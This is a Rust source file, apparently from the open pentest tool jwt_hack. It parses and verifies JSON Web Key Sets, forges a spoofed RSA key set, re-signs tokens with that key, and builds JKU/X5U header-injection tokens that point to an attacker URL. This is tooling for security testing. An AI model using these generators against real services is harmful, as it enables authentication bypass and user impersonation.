Skip to main content

jwt_hack/jwks/
mod.rs

1use anyhow::{anyhow, Result};
2use base64::{engine::general_purpose::URL_SAFE_NO_PAD, Engine};
3use serde::{Deserialize, Serialize};
4use serde_json::Value;
5use std::collections::HashMap;
6
7/// A single JSON Web Key
8#[derive(Debug, Clone, Serialize, Deserialize)]
9pub struct Jwk {
10    pub kty: String,
11    #[serde(default, skip_serializing_if = "Option::is_none")]
12    pub kid: Option<String>,
13    #[serde(default, skip_serializing_if = "Option::is_none")]
14    pub alg: Option<String>,
15    #[serde(default, rename = "use", skip_serializing_if = "Option::is_none")]
16    pub key_use: Option<String>,
17    #[serde(default, skip_serializing_if = "Option::is_none")]
18    pub key_ops: Option<Vec<String>>,
19    // RSA parameters
20    #[serde(default, skip_serializing_if = "Option::is_none")]
21    pub n: Option<String>,
22    #[serde(default, skip_serializing_if = "Option::is_none")]
23    pub e: Option<String>,
24    // EC parameters
25    #[serde(default, skip_serializing_if = "Option::is_none")]
26    pub crv: Option<String>,
27    #[serde(default, skip_serializing_if = "Option::is_none")]
28    pub x: Option<String>,
29    #[serde(default, skip_serializing_if = "Option::is_none")]
30    pub y: Option<String>,
31    // Symmetric key
32    #[serde(default, skip_serializing_if = "Option::is_none")]
33    pub k: Option<String>,
34    // x5c certificate chain
35    #[serde(default, skip_serializing_if = "Option::is_none")]
36    pub x5c: Option<Vec<String>>,
37    #[serde(default, skip_serializing_if = "Option::is_none")]
38    pub x5t: Option<String>,
39    #[serde(default, rename = "x5t#S256", skip_serializing_if = "Option::is_none")]
40    pub x5t_s256: Option<String>,
41    // Catch-all for extra fields
42    #[serde(flatten)]
43    pub extra: HashMap<String, Value>,
44}
45
46/// A JSON Web Key Set
47#[derive(Debug, Clone, Serialize, Deserialize)]
48pub struct JwkSet {
49    pub keys: Vec<Jwk>,
50}
51
52/// Result of a spoofed JWKS generation
53#[derive(Debug)]
54pub struct SpoofedJwks {
55    /// The JWKS JSON (public keys)
56    pub jwks_json: String,
57    /// The private key in PEM format
58    pub private_key_pem: String,
59    /// A JWT token signed with the spoofed key
60    pub signed_token: Option<String>,
61}
62
63/// Fetch a JWKS from a remote URL
64pub fn fetch_jwks(url: &str) -> Result<JwkSet> {
65    let client = reqwest::blocking::Client::builder()
66        .timeout(std::time::Duration::from_secs(10))
67        .build()?;
68
69    let response = client
70        .get(url)
71        .header("Accept", "application/json")
72        .send()
73        .map_err(|e| anyhow!("Failed to fetch JWKS from {}: {}", url, e))?;
74
75    if !response.status().is_success() {
76        return Err(anyhow!(
77            "JWKS endpoint returned status {}: {}",
78            response.status(),
79            url
80        ));
81    }
82
83    let jwks: JwkSet = response
84        .json()
85        .map_err(|e| anyhow!("Failed to parse JWKS response: {}", e))?;
86
87    Ok(jwks)
88}
89
90/// Parse a JWKS from a JSON string
91pub fn parse_jwks(json_str: &str) -> Result<JwkSet> {
92    let jwks: JwkSet =
93        serde_json::from_str(json_str).map_err(|e| anyhow!("Failed to parse JWKS: {}", e))?;
94    Ok(jwks)
95}
96
97/// Convert a JWK RSA public key to PEM format
98pub fn jwk_rsa_to_pem(jwk: &Jwk) -> Result<String> {
99    if jwk.kty != "RSA" {
100        return Err(anyhow!("JWK is not an RSA key (kty: {})", jwk.kty));
101    }
102
103    let n = jwk
104        .n
105        .as_ref()
106        .ok_or_else(|| anyhow!("Missing 'n' parameter in RSA JWK"))?;
107    let e = jwk
108        .e
109        .as_ref()
110        .ok_or_else(|| anyhow!("Missing 'e' parameter in RSA JWK"))?;
111
112    let n_bytes = URL_SAFE_NO_PAD
113        .decode(n)
114        .map_err(|e| anyhow!("Failed to decode 'n': {}", e))?;
115    let e_bytes = URL_SAFE_NO_PAD
116        .decode(e)
117        .map_err(|e| anyhow!("Failed to decode 'e': {}", e))?;
118
119    // Build DER-encoded RSA public key
120    let der = encode_rsa_public_key_der(&n_bytes, &e_bytes);
121
122    // Wrap in PEM
123    let b64 = base64::engine::general_purpose::STANDARD.encode(&der);
124    let mut pem = String::from("-----BEGIN PUBLIC KEY-----\n");
125    for chunk in b64.as_bytes().chunks(64) {
126        pem.push_str(
127            std::str::from_utf8(chunk)
128                .map_err(|e| anyhow::anyhow!("Invalid UTF-8 in base64 chunk: {}", e))?,
129        );
130        pem.push('\n');
131    }
132    pem.push_str("-----END PUBLIC KEY-----\n");
133
134    Ok(pem)
135}
136
137/// Encode RSA public key components into DER (SubjectPublicKeyInfo) format
138fn encode_rsa_public_key_der(n: &[u8], e: &[u8]) -> Vec<u8> {
139    // Encode n and e as ASN.1 INTEGERs
140    let n_int = asn1_integer(n);
141    let e_int = asn1_integer(e);
142
143    // RSAPublicKey ::= SEQUENCE { n INTEGER, e INTEGER }
144    let rsa_key_seq = asn1_sequence(&[&n_int, &e_int]);
145
146    // Wrap as BIT STRING
147    let mut bit_string_content = vec![0x00]; // no unused bits
148    bit_string_content.extend_from_slice(&rsa_key_seq);
149    let bit_string = asn1_tag(0x03, &bit_string_content);
150
151    // AlgorithmIdentifier for RSA: OID 1.2.840.113549.1.1.1 + NULL
152    let rsa_oid = &[
153        0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01,
154    ];
155    let null = &[0x05, 0x00];
156    let algorithm_seq = asn1_sequence(&[rsa_oid, null]);
157
158    // SubjectPublicKeyInfo ::= SEQUENCE { algorithm, subjectPublicKey }
159    asn1_sequence(&[&algorithm_seq, &bit_string])
160}
161
162fn asn1_tag(tag: u8, content: &[u8]) -> Vec<u8> {
163    let mut result = vec![tag];
164    result.extend_from_slice(&asn1_length(content.len()));
165    result.extend_from_slice(content);
166    result
167}
168
169fn asn1_integer(data: &[u8]) -> Vec<u8> {
170    let mut content = Vec::new();
171    // Add leading zero if high bit is set (to keep it positive)
172    if !data.is_empty() && data[0] & 0x80 != 0 {
173        content.push(0x00);
174    }
175    content.extend_from_slice(data);
176    asn1_tag(0x02, &content)
177}
178
179fn asn1_sequence(items: &[&[u8]]) -> Vec<u8> {
180    let mut content = Vec::new();
181    for item in items {
182        content.extend_from_slice(item);
183    }
184    asn1_tag(0x30, &content)
185}
186
187fn asn1_length(len: usize) -> Vec<u8> {
188    if len < 128 {
189        vec![len as u8]
190    } else if len < 256 {
191        vec![0x81, len as u8]
192    } else {
193        vec![0x82, (len >> 8) as u8, len as u8]
194    }
195}
196
197/// Generate a spoofed JWKS with a new RSA key pair
198pub fn generate_spoofed_jwks(
199    algorithm: &str,
200    kid: Option<&str>,
201    token: Option<&str>,
202) -> Result<SpoofedJwks> {
203    use rsa::pkcs8::EncodePrivateKey;
204    use rsa::RsaPrivateKey;
205
206    let alg_upper = algorithm.to_uppercase();
207    if !matches!(
208        alg_upper.as_str(),
209        "RS256" | "RS384" | "RS512" | "PS256" | "PS384" | "PS512"
210    ) {
211        return Err(anyhow!(
212            "JWKS spoofing currently supports RSA algorithms (RS256/RS384/RS512/PS256/PS384/PS512), got: {}",
213            algorithm
214        ));
215    }
216
217    // Generate RSA key pair
218    let mut rng = rsa::rand_core::OsRng;
219    let bits = 2048;
220    let private_key = RsaPrivateKey::new(&mut rng, bits)
221        .map_err(|e| anyhow!("Failed to generate RSA key: {}", e))?;
222    let public_key = private_key.to_public_key();
223
224    // Extract modulus and exponent for JWK
225    use rsa::traits::PublicKeyParts;
226    let n_bytes = public_key.n().to_bytes_be();
227    let e_bytes = public_key.e().to_bytes_be();
228
229    let n_b64 = URL_SAFE_NO_PAD.encode(&n_bytes);
230    let e_b64 = URL_SAFE_NO_PAD.encode(&e_bytes);
231
232    let kid_value = kid
233        .map(|s| s.to_string())
234        .unwrap_or_else(|| format!("spoofed-key-{}", chrono::Utc::now().timestamp()));
235
236    let jwk = Jwk {
237        kty: "RSA".to_string(),
238        kid: Some(kid_value.clone()),
239        alg: Some(algorithm.to_uppercase()),
240        key_use: Some("sig".to_string()),
241        key_ops: None,
242        n: Some(n_b64),
243        e: Some(e_b64),
244        crv: None,
245        x: None,
246        y: None,
247        k: None,
248        x5c: None,
249        x5t: None,
250        x5t_s256: None,
251        extra: HashMap::new(),
252    };
253
254    let jwks = JwkSet { keys: vec![jwk] };
255
256    let jwks_json = serde_json::to_string_pretty(&jwks)?;
257
258    // Export private key as PEM
259    let private_key_pem = private_key
260        .to_pkcs8_pem(rsa::pkcs8::LineEnding::LF)
261        .map_err(|e| anyhow!("Failed to export private key: {}", e))?
262        .to_string();
263
264    // If a token is provided, re-sign it with the spoofed key
265    let signed_token = if let Some(token) = token {
266        sign_token_with_key(token, &private_key_pem, algorithm, Some(&kid_value)).ok()
267    } else {
268        None
269    };
270
271    Ok(SpoofedJwks {
272        jwks_json,
273        private_key_pem,
274        signed_token,
275    })
276}
277
278/// Re-sign a JWT token with a given private key, optionally adding kid and jku headers
279fn sign_token_with_key(
280    token: &str,
281    private_key_pem: &str,
282    algorithm: &str,
283    kid: Option<&str>,
284) -> Result<String> {
285    // Decode the original token to get claims
286    let decoded = crate::jwt::decode(token)?;
287
288    // Build header params
289    let mut header_params = HashMap::new();
290    if let Some(kid) = kid {
291        header_params.insert("kid", kid);
292    }
293
294    let options = crate::jwt::EncodeOptions {
295        algorithm,
296        key_data: crate::jwt::KeyData::PrivateKeyPem(private_key_pem),
297        header_params: if header_params.is_empty() {
298            None
299        } else {
300            Some(header_params)
301        },
302        compress_payload: false,
303    };
304
305    crate::jwt::encode_with_options(&decoded.claims, &options)
306}
307
308/// Verify a JWT token against all keys in a JWKS
309pub fn verify_with_jwks(token: &str, jwks: &JwkSet) -> Result<Vec<KeyVerifyResult>> {
310    let mut results = Vec::new();
311
312    for (i, jwk) in jwks.keys.iter().enumerate() {
313        let kid = jwk.kid.as_deref().unwrap_or("(none)");
314
315        match jwk.kty.as_str() {
316            "RSA" => match jwk_rsa_to_pem(jwk) {
317                Ok(pem) => {
318                    let options = crate::jwt::VerifyOptions {
319                        key_data: crate::jwt::VerifyKeyData::PublicKeyPem(&pem),
320                        validate_exp: false,
321                        validate_nbf: false,
322                        leeway: 0,
323                    };
324                    match crate::jwt::verify_with_options(token, &options) {
325                        Ok(valid) => {
326                            results.push(KeyVerifyResult {
327                                key_index: i,
328                                kid: kid.to_string(),
329                                kty: jwk.kty.clone(),
330                                alg: jwk.alg.clone(),
331                                valid,
332                                error: None,
333                            });
334                        }
335                        Err(e) => {
336                            results.push(KeyVerifyResult {
337                                key_index: i,
338                                kid: kid.to_string(),
339                                kty: jwk.kty.clone(),
340                                alg: jwk.alg.clone(),
341                                valid: false,
342                                error: Some(e.to_string()),
343                            });
344                        }
345                    }
346                }
347                Err(e) => {
348                    results.push(KeyVerifyResult {
349                        key_index: i,
350                        kid: kid.to_string(),
351                        kty: jwk.kty.clone(),
352                        alg: jwk.alg.clone(),
353                        valid: false,
354                        error: Some(format!("Key conversion failed: {}", e)),
355                    });
356                }
357            },
358            "oct" => {
359                if let Some(k) = &jwk.k {
360                    match URL_SAFE_NO_PAD.decode(k) {
361                        Ok(secret_bytes) => {
362                            let secret = String::from_utf8_lossy(&secret_bytes);
363                            let options = crate::jwt::VerifyOptions {
364                                key_data: crate::jwt::VerifyKeyData::Secret(&secret),
365                                validate_exp: false,
366                                validate_nbf: false,
367                                leeway: 0,
368                            };
369                            match crate::jwt::verify_with_options(token, &options) {
370                                Ok(valid) => {
371                                    results.push(KeyVerifyResult {
372                                        key_index: i,
373                                        kid: kid.to_string(),
374                                        kty: jwk.kty.clone(),
375                                        alg: jwk.alg.clone(),
376                                        valid,
377                                        error: None,
378                                    });
379                                }
380                                Err(e) => {
381                                    results.push(KeyVerifyResult {
382                                        key_index: i,
383                                        kid: kid.to_string(),
384                                        kty: jwk.kty.clone(),
385                                        alg: jwk.alg.clone(),
386                                        valid: false,
387                                        error: Some(e.to_string()),
388                                    });
389                                }
390                            }
391                        }
392                        Err(e) => {
393                            results.push(KeyVerifyResult {
394                                key_index: i,
395                                kid: kid.to_string(),
396                                kty: jwk.kty.clone(),
397                                alg: jwk.alg.clone(),
398                                valid: false,
399                                error: Some(format!("Failed to decode symmetric key: {}", e)),
400                            });
401                        }
402                    }
403                } else {
404                    results.push(KeyVerifyResult {
405                        key_index: i,
406                        kid: kid.to_string(),
407                        kty: jwk.kty.clone(),
408                        alg: jwk.alg.clone(),
409                        valid: false,
410                        error: Some("Missing 'k' parameter".to_string()),
411                    });
412                }
413            }
414            other => {
415                results.push(KeyVerifyResult {
416                    key_index: i,
417                    kid: kid.to_string(),
418                    kty: other.to_string(),
419                    alg: jwk.alg.clone(),
420                    valid: false,
421                    error: Some(format!("Unsupported key type: {}", other)),
422                });
423            }
424        }
425    }
426
427    Ok(results)
428}
429
430/// Result of verifying a token against a specific key
431#[derive(Debug)]
432pub struct KeyVerifyResult {
433    pub key_index: usize,
434    pub kid: String,
435    pub kty: String,
436    pub alg: Option<String>,
437    pub valid: bool,
438    pub error: Option<String>,
439}
440
441/// Generate JKU/X5U injection payloads with a real spoofed JWKS
442pub fn generate_jwks_injection_payloads(
443    token: &str,
444    attacker_url: &str,
445    algorithm: &str,
446) -> Result<JwksInjectionResult> {
447    let spoofed = generate_spoofed_jwks(algorithm, None, Some(token))?;
448
449    let signed_token = spoofed
450        .signed_token
451        .ok_or_else(|| anyhow!("Failed to sign token with spoofed key"))?;
452
453    // Decode the signed token to get header/claims parts
454    let parts: Vec<&str> = signed_token.split('.').collect();
455    if parts.len() != 3 {
456        return Err(anyhow!("Invalid signed token format"));
457    }
458
459    // Re-encode headers with jku/x5u pointing to attacker URL
460    let decoded = crate::jwt::decode(&signed_token)?;
461    let claims_part = parts[1];
462    let signature_part = parts[2];
463
464    let mut payloads = Vec::new();
465
466    // JKU injection
467    let mut jku_header = serde_json::Map::new();
468    for (k, v) in &decoded.header {
469        jku_header.insert(k.clone(), v.clone());
470    }
471    jku_header.insert(
472        "jku".to_string(),
473        Value::String(format!("{}/jwks.json", attacker_url.trim_end_matches('/'))),
474    );
475    let jku_header_json = serde_json::to_string(&jku_header)?;
476    let jku_header_b64 = URL_SAFE_NO_PAD.encode(jku_header_json.as_bytes());
477    payloads.push(InjectionPayload {
478        header_type: "jku".to_string(),
479        token: format!("{}.{}.{}", jku_header_b64, claims_part, signature_part),
480        description: format!("JKU injection pointing to {}/jwks.json", attacker_url),
481    });
482
483    // X5U injection
484    let mut x5u_header = serde_json::Map::new();
485    for (k, v) in &decoded.header {
486        x5u_header.insert(k.clone(), v.clone());
487    }
488    x5u_header.insert(
489        "x5u".to_string(),
490        Value::String(format!("{}/cert.pem", attacker_url.trim_end_matches('/'))),
491    );
492    let x5u_header_json = serde_json::to_string(&x5u_header)?;
493    let x5u_header_b64 = URL_SAFE_NO_PAD.encode(x5u_header_json.as_bytes());
494    payloads.push(InjectionPayload {
495        header_type: "x5u".to_string(),
496        token: format!("{}.{}.{}", x5u_header_b64, claims_part, signature_part),
497        description: format!("X5U injection pointing to {}/cert.pem", attacker_url),
498    });
499
500    Ok(JwksInjectionResult {
501        jwks_json: spoofed.jwks_json,
502        private_key_pem: spoofed.private_key_pem,
503        payloads,
504    })
505}
506
507/// Result of JWKS injection payload generation
508#[derive(Debug)]
509pub struct JwksInjectionResult {
510    pub jwks_json: String,
511    pub private_key_pem: String,
512    pub payloads: Vec<InjectionPayload>,
513}
514
515/// A single injection payload
516#[derive(Debug)]
517pub struct InjectionPayload {
518    pub header_type: String,
519    pub token: String,
520    pub description: String,
521}
522
523/// Test key rotation by verifying a token against multiple key files
524pub fn test_key_rotation(
525    token: &str,
526    key_paths: &[std::path::PathBuf],
527) -> Result<Vec<KeyRotationResult>> {
528    let mut results = Vec::new();
529
530    for path in key_paths {
531        let key_content = std::fs::read_to_string(path)
532            .map_err(|e| anyhow!("Failed to read key file {:?}: {}", path, e))?;
533
534        let filename = path
535            .file_name()
536            .map(|f| f.to_string_lossy().to_string())
537            .unwrap_or_else(|| path.display().to_string());
538
539        // Try as public key PEM
540        let options = crate::jwt::VerifyOptions {
541            key_data: crate::jwt::VerifyKeyData::PublicKeyPem(&key_content),
542            validate_exp: false,
543            validate_nbf: false,
544            leeway: 0,
545        };
546
547        match crate::jwt::verify_with_options(token, &options) {
548            Ok(valid) => {
549                results.push(KeyRotationResult {
550                    key_file: filename,
551                    valid,
552                    error: None,
553                });
554            }
555            Err(_) => {
556                // Try as HMAC secret
557                let secret_options = crate::jwt::VerifyOptions {
558                    key_data: crate::jwt::VerifyKeyData::Secret(key_content.trim()),
559                    validate_exp: false,
560                    validate_nbf: false,
561                    leeway: 0,
562                };
563                match crate::jwt::verify_with_options(token, &secret_options) {
564                    Ok(valid) => {
565                        results.push(KeyRotationResult {
566                            key_file: filename,
567                            valid,
568                            error: None,
569                        });
570                    }
571                    Err(e) => {
572                        results.push(KeyRotationResult {
573                            key_file: filename,
574                            valid: false,
575                            error: Some(e.to_string()),
576                        });
577                    }
578                }
579            }
580        }
581    }
582
583    Ok(results)
584}
585
586/// Result of testing a key in rotation
587#[derive(Debug)]
588pub struct KeyRotationResult {
589    pub key_file: String,
590    pub valid: bool,
591    pub error: Option<String>,
592}
593
594#[cfg(test)]
595mod tests {
596    use super::*;
597
598    #[test]
599    fn test_parse_jwks() {
600        let jwks_json = r#"{
601            "keys": [
602                {
603                    "kty": "RSA",
604                    "kid": "test-key-1",
605                    "use": "sig",
606                    "alg": "RS256",
607                    "n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx4cbbfAAtVT86zwu1RK7aPFFxuhDR1L6tSoc_BJECPebWKRXjBZCiFV4n3oknjhMstn64tZ_2W-5JsGY4Hc5n9yBXArwl93lqt7_RN5w6Cf0h4QyQ5v-65YGjQR0_FDW2QvzqY368QQMicAtaSqzs8KJZgnYb9c7d0zgdAZHzu6qMQvRL5hajrn1n91CbOpbISD08qNLyrdkt-bFTWhAI4vMQFh6WeZu0fM4lFd2NcRwr3XPksINHaQ-G_xBniIqbw0Ls1jF44-csFCur-kEgU8awapJzKnqDKgw",
608                    "e": "AQAB"
609                }
610            ]
611        }"#;
612
613        let jwks = parse_jwks(jwks_json).unwrap();
614        assert_eq!(jwks.keys.len(), 1);
615        assert_eq!(jwks.keys[0].kty, "RSA");
616        assert_eq!(jwks.keys[0].kid.as_deref(), Some("test-key-1"));
617        assert_eq!(jwks.keys[0].alg.as_deref(), Some("RS256"));
618    }
619
620    #[test]
621    fn test_jwk_rsa_to_pem() {
622        let jwk = Jwk {
623            kty: "RSA".to_string(),
624            kid: Some("test".to_string()),
625            alg: Some("RS256".to_string()),
626            key_use: Some("sig".to_string()),
627            key_ops: None,
628            n: Some("0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx4cbbfAAtVT86zwu1RK7aPFFxuhDR1L6tSoc_BJECPebWKRXjBZCiFV4n3oknjhMstn64tZ_2W-5JsGY4Hc5n9yBXArwl93lqt7_RN5w6Cf0h4QyQ5v-65YGjQR0_FDW2QvzqY368QQMicAtaSqzs8KJZgnYb9c7d0zgdAZHzu6qMQvRL5hajrn1n91CbOpbISD08qNLyrdkt-bFTWhAI4vMQFh6WeZu0fM4lFd2NcRwr3XPksINHaQ-G_xBniIqbw0Ls1jF44-csFCur-kEgU8awapJzKnqDKgw".to_string()),
629            e: Some("AQAB".to_string()),
630            crv: None,
631            x: None,
632            y: None,
633            k: None,
634            x5c: None,
635            x5t: None,
636            x5t_s256: None,
637            extra: HashMap::new(),
638        };
639
640        let pem = jwk_rsa_to_pem(&jwk).unwrap();
641        assert!(pem.contains("-----BEGIN PUBLIC KEY-----"));
642        assert!(pem.contains("-----END PUBLIC KEY-----"));
643    }
644
645    #[test]
646    fn test_parse_jwks_empty() {
647        let jwks_json = r#"{"keys": []}"#;
648        let jwks = parse_jwks(jwks_json).unwrap();
649        assert_eq!(jwks.keys.len(), 0);
650    }
651
652    #[test]
653    fn test_parse_jwks_invalid_json() {
654        let result = parse_jwks("not json");
655        assert!(result.is_err());
656    }
657
658    #[test]
659    fn test_generate_spoofed_jwks() {
660        let result = generate_spoofed_jwks("RS256", Some("test-kid"), None);
661        assert!(result.is_ok());
662        let spoofed = result.unwrap();
663
664        // Verify JWKS structure
665        let jwks: JwkSet = serde_json::from_str(&spoofed.jwks_json).unwrap();
666        assert_eq!(jwks.keys.len(), 1);
667        assert_eq!(jwks.keys[0].kty, "RSA");
668        assert_eq!(jwks.keys[0].kid.as_deref(), Some("test-kid"));
669        assert!(jwks.keys[0].n.is_some());
670        assert!(jwks.keys[0].e.is_some());
671
672        // Verify private key
673        assert!(spoofed
674            .private_key_pem
675            .contains("-----BEGIN PRIVATE KEY-----"));
676    }
677
678    #[test]
679    fn test_generate_spoofed_jwks_with_token() {
680        // Create a test token
681        let claims = serde_json::json!({"sub": "test", "name": "Test User"});
682        let token =
683            crate::jwt::encode(&claims, "secret", "HS256").expect("Failed to create test token");
684
685        let result = generate_spoofed_jwks("RS256", Some("test-kid"), Some(&token));
686        assert!(result.is_ok());
687        let spoofed = result.unwrap();
688        assert!(spoofed.signed_token.is_some());
689    }
690
691    #[test]
692    fn test_generate_spoofed_jwks_unsupported_alg() {
693        let result = generate_spoofed_jwks("ES256", None, None);
694        assert!(result.is_err());
695    }
696
697    #[test]
698    fn test_asn1_encoding() {
699        // Test basic ASN.1 length encoding
700        assert_eq!(asn1_length(0), vec![0x00]);
701        assert_eq!(asn1_length(127), vec![0x7f]);
702        assert_eq!(asn1_length(128), vec![0x81, 0x80]);
703        assert_eq!(asn1_length(255), vec![0x81, 0xff]);
704        assert_eq!(asn1_length(256), vec![0x82, 0x01, 0x00]);
705    }
706
707    #[test]
708    fn test_jwk_rsa_to_pem_non_rsa() {
709        let jwk = Jwk {
710            kty: "EC".to_string(),
711            kid: None,
712            alg: None,
713            key_use: None,
714            key_ops: None,
715            n: None,
716            e: None,
717            crv: Some("P-256".to_string()),
718            x: Some("test".to_string()),
719            y: Some("test".to_string()),
720            k: None,
721            x5c: None,
722            x5t: None,
723            x5t_s256: None,
724            extra: HashMap::new(),
725        };
726
727        let result = jwk_rsa_to_pem(&jwk);
728        assert!(result.is_err());
729    }
730
731    #[test]
732    fn test_verify_with_jwks_empty() {
733        let claims = serde_json::json!({"sub": "test"});
734        let token =
735            crate::jwt::encode(&claims, "secret", "HS256").expect("Failed to create test token");
736
737        let jwks = JwkSet { keys: vec![] };
738        let results = verify_with_jwks(&token, &jwks).unwrap();
739        assert!(results.is_empty());
740    }
741
742    #[test]
743    fn test_key_rotation_with_temp_files() {
744        use std::io::Write;
745        use tempfile::tempdir;
746
747        let claims = serde_json::json!({"sub": "test"});
748        let token =
749            crate::jwt::encode(&claims, "my-secret", "HS256").expect("Failed to create test token");
750
751        let dir = tempdir().unwrap();
752
753        // Create key files with different secrets
754        let key1_path = dir.path().join("key1.txt");
755        let key2_path = dir.path().join("key2.txt");
756
757        std::fs::File::create(&key1_path)
758            .unwrap()
759            .write_all(b"wrong-secret")
760            .unwrap();
761        std::fs::File::create(&key2_path)
762            .unwrap()
763            .write_all(b"my-secret")
764            .unwrap();
765
766        let results = test_key_rotation(&token, &[key1_path, key2_path]).unwrap();
767        assert_eq!(results.len(), 2);
768        assert!(!results[0].valid); // wrong-secret
769        assert!(results[1].valid); // my-secret
770    }
771}